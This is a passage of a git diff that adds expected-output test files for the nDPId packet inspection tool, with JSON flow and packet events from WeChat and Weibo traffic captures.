+00477{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1492171267430,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":59567,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1492171269548,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1492171269192,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00479{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1492171269192,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1492171274755,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44346,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1492171268472,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1492171268472,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1492171267576,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1492171267576,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1492171269128,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1492171269128,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1492171290232,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":41759,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171290,"pkt_ts_usec":232051,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDMahAAEARhEzAqAFnwKgB\/qMfADUAL3l8SRkBAAABAAAAAAAAATIGZGViaWFuBHBvb2wDbnRwA29yZwAAAQAB"} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1492171290232,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":41759,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"2.debian.pool.ntp.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00447{"flow_id":132,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1670,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171290,"pkt_ts_usec":232080,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDMalAAEARhEvAqAFnwKgB\/qMfADUAL1ZyUSMBAAABAAAAAAAAATIGZGViaWFuBHBvb2wDbnRwA29yZwAAHAAB"} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1670,"source":"wechat.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":2,"flow_first_seen":1492171290232,"flow_last_seen":1492171290232,"flow_tot_l4_data_len":94,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":41759,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"2.debian.pool.ntp.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1671,"source":"wechat.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1492171290232,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":54205,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1671,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171290,"pkt_ts_usec":232092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Mx1AAEAGXPLAqAFnQOmnvNO9AbuA1BLzAh8CfoAQAT2IFAAAAQEICgA\/vqCGKY\/Q"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1672,"source":"wechat.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1492171291761,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53515,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1672,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171291,"pkt_ts_usec":761740,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"8IQvSpdgeJKcD6iOCABFAABIMrNAAEARgzzAqAFnwKgB\/tELADUANPxl\/4EBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20DbGFuAAABAAE="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1672,"source":"wechat.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1492171291761,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53515,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"webpush.web.wechat.com.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/weibo.pcap.out b/test/results/weibo.pcap.out new file mode 100644 index 000000000..e538e3ddb --- /dev/null +++ b/test/results/weibo.pcap.out @@ -0,0 +1,278 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"weibo.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1463089067804,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"216.58.210.14","dst_ip":"192.168.1.105","src_port":443,"dst_port":49361,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":804779,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"eJKcD6iOkDVu60UQCABFAAClAABAADMR2u3YOtIOwKgBaQG7wNEAkSEpAAl3y2T5ujTCSSEU5zJMPfXh7u\/a3oWq2yhhK1m4ny+qR4W2lfILr6Ils4h\/iqKUCkI0zipqePuQ8qDP3gfa2UEwOgxjQY6zEBJhdLLCAKezbAF+wpbNcZnrqI9Vp3iRS5CpzEuDxhuTRv5J009cEtkCA6nVS0D6WXhVs+S9\/EHIHeXl6YD1cbA="} +00813{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":804822,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"eJKcD6iOkDVu60UQCABFAAFTAABAADMR2j\/YOtIOwKgBaQG7wNEBPzHaAAoUu93Ovdfsj+VZ99cgMeSVKfCKokSNRuOMv1PGF2DIkukcXrUmGkv\/ArCiq\/KK23NXKqXH3z8FxKfa8OQtN5x73GaADweitAmqYsU072yu9KsRUtnFIEIB5Y5LqWVX6vqXepSvfYCEhodq+tUiz0aSzdffkeHhLztt20iOOpChbjrtXhyjh2xOYPCWGl\/75gN\/zEEb2R9h09zfr5IUCExPcV8JWIdoh2fXU4mq9qytwCU0GOdjsWy12v2HhTBnSYnXaFz8kW\/ToyswW6z6hT26xiqWB5RJW9cvGUU8G6jKCXTHHR5WczEJ7NLt9QErBQKutf8Nh4rVBXW1avPgj1A0tNYSKXAcYt1eYGsw4tjOzS7DHafUDgikSZ+H9BNuGGXb1gwh45909vW3665ubMpNt9lmWoI="} +00448{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":805294,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"kDVu60UQeJKcD6iOCABFAABHtklAAEARGALAqAFp2DrSDsDRAbsAM7beDDzb+3ozZeMBCkxEEj6TblVeBP78aEspYfuydCS19UAd5UCVpxpshuwHMA=="} +00541{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":828243,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"kDVu60UQeJKcD6iOCABFAACJtkxAAEARF73AqAFp2DrSDsDRAbsAdbpVDDzb+3ozZeMBCzojeOlAMgvGNktyYcAUA7A\/3Svs2ToszWJa515eysxsBGt2GWJkyb0raTzXh1+QI2hgs8vbL9ZN+SRZ\/GOQxQ+J9bkhmb0JUaHBY3MAoon0eWS2MvshnVAsrdiQAr2Fjffaxw=="} +01228{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":828294,"pkt_caplen":660,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":660,"pkt_l4_len":626,"pkt":"kDVu60UQeJKcD6iOCABFAAKGtk1AAEARFb\/AqAFp2DrSDsDRAbsCcgTrDDzb+3ozZeMBDEyYuMtHqW5jhUgWnwycwNTeG6jJ15NsroQShKn6SI\/g\/eUY0YyUjmgQXNSisFFonacaUrwe2fHontPG9TqGbesfXuCFv9N\/VEqrRyOBueLaO9Wm5oNzbX1FBNz9eKl6vXwhFD1asNbKFRzenLwmcHPEwlHNk0t9ORO9B0XGnCBXYv8OsTU8Z\/PMSblWJpuUgkhW7fThKOKfqI+NKfQGA9j3yaUPWnHBVCH5Hz4ujFH8w9vjtMTUWidkbUegs8LXz9eFItmkbX8zaZFx01sCAV8idQ+k4FU3IG1ebiAqAhM5um6mOklFQi\/AZokBdqTEHr98yQf8Neu+y9m2rEs7uDrZlw0kuZUXMmdsMEP4OgPp1slMwj2of47sjlgrkYB09T3Jq\/hgq6Rh4HoP84P1nknKLjuhQUgLbXtLObhmR3gbQQWrrKFRCMX1\/ed7CWAN87WAAR2g0iVudwflgWMBDevXUlIpwGYBg4HCo30tWQVbj\/4d6wKIN9dXgUZUqqf4jfYlqNzwkJp4BkdoET52eZ99ruk4McnmmRWi6JSQaEcVIWjgr5YOMalHoMQ\/zBOcx755rmCroQNR43oLnA1DtsOgbXxErqejOxaxPbLlHWrBtwYgrgRacEIy84G1Pp3gw8iuIxLlt1bekLuNJwSAGl0Bvks5MByCRS4qK\/GyTU\/MDUgRkMJm2OpDbWNm2jQtHPIRGxEKNip9cThwk6Jg91dcZjIWFORaQGvSs+DYplPhPRVYKa\/j2nArdEGivQvnXjuwZmZxMzvcDeCM6NuiNuYZ1ySB8lSb8mZ60p21yVmG"} +00439{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089067,"pkt_ts_usec":864153,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"eJKcD6iOkDVu60UQCABFAAA\/AABAADMR21PYOtIOwKgBaQG7wNEAKwoHAAtqUHOnDVLSXvQSvF7LtrvJ4+Ut0\/+PPibILhcVRlQ0\/Cc="} +00516{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089068,"pkt_ts_usec":490751,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"eJKcD6iOkDVu60UQCABFAAB3AABAADMR2xvYOtIOwKgBaQG7wNEAY5h\/AAz3NgibEP+3fCH01gaXm\/ujoksOD8lVuFPVv4dTuDm1GQajh0JsK5hDx1wcIIslcR6FuJguYCUDV+hO960qSchu4lOGDy6g9QGt9CHdRWgSVC2cqVi1Gvnv6A=="} +00638{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089068,"pkt_ts_usec":490775,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"eJKcD6iOkDVu60UQCABFAADPAABAADMR2sPYOtIOwKgBaQG7wNEAu1cBAA1SPRGfkBIcRyXIBOFmOzx7xByjFzObStYT9JG3BdTcYyczLM6U\/yGJL1UOa9efX1YnjJOnzSQes+TW7tPCCmIWM5k2OHC\/X4h62\/gFcsaUMiZP99DIiBWpEzuVuyrC9ruL8hz5sxTLccSbyiADHsnAODMlyaW7YySfafX77mgaS4\/pAmpwE\/R73VLqa4x3u5DTBS1saCqD2G0cou9H3fDUBMN96cndkiXeH\/VLD\/DRoz0="} +00451{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089068,"pkt_ts_usec":491086,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"kDVu60UQeJKcD6iOCABFAABHtn9AAEARF8zAqAFp2DrSDsDRAbsAM\/dlDDzb+3ozZeMBDb0E20MJqfc7ail3g\/1CveOoZw\/qFJDJZ3ZNxPAuDExJjg=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"weibo.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1463089069330,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.214.78","src_port":58480,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089069,"pkt_ts_usec":330096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0vWJAAEAGDMfAqAFp2DrWTuRwAbsLWGhZZbJo+oAQAO2GIAAAAQEICgBBBg58MNQL"} +00422{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089069,"pkt_ts_usec":374929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA04pUAADMGNJTYOtZOwKgBaQG75HBlsmj6C1hoWoAQAV4BuwAAAQEICnwxg\/kAQNoT"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"weibo.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1463089070086,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.214.78","src_port":58481,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":86080,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0hxpAAEAGQw\/AqAFp2DrWTuRxAbtN5WEdhI1WjIAQAO065AAAAQEICgBBBst8MNbL"} +00421{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":131182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0MLYAADMG5nPYOtZOwKgBaQG75HGEjVaMTeVhHoAQAV62dAAAAQEICnwxhr4AQNrV"} 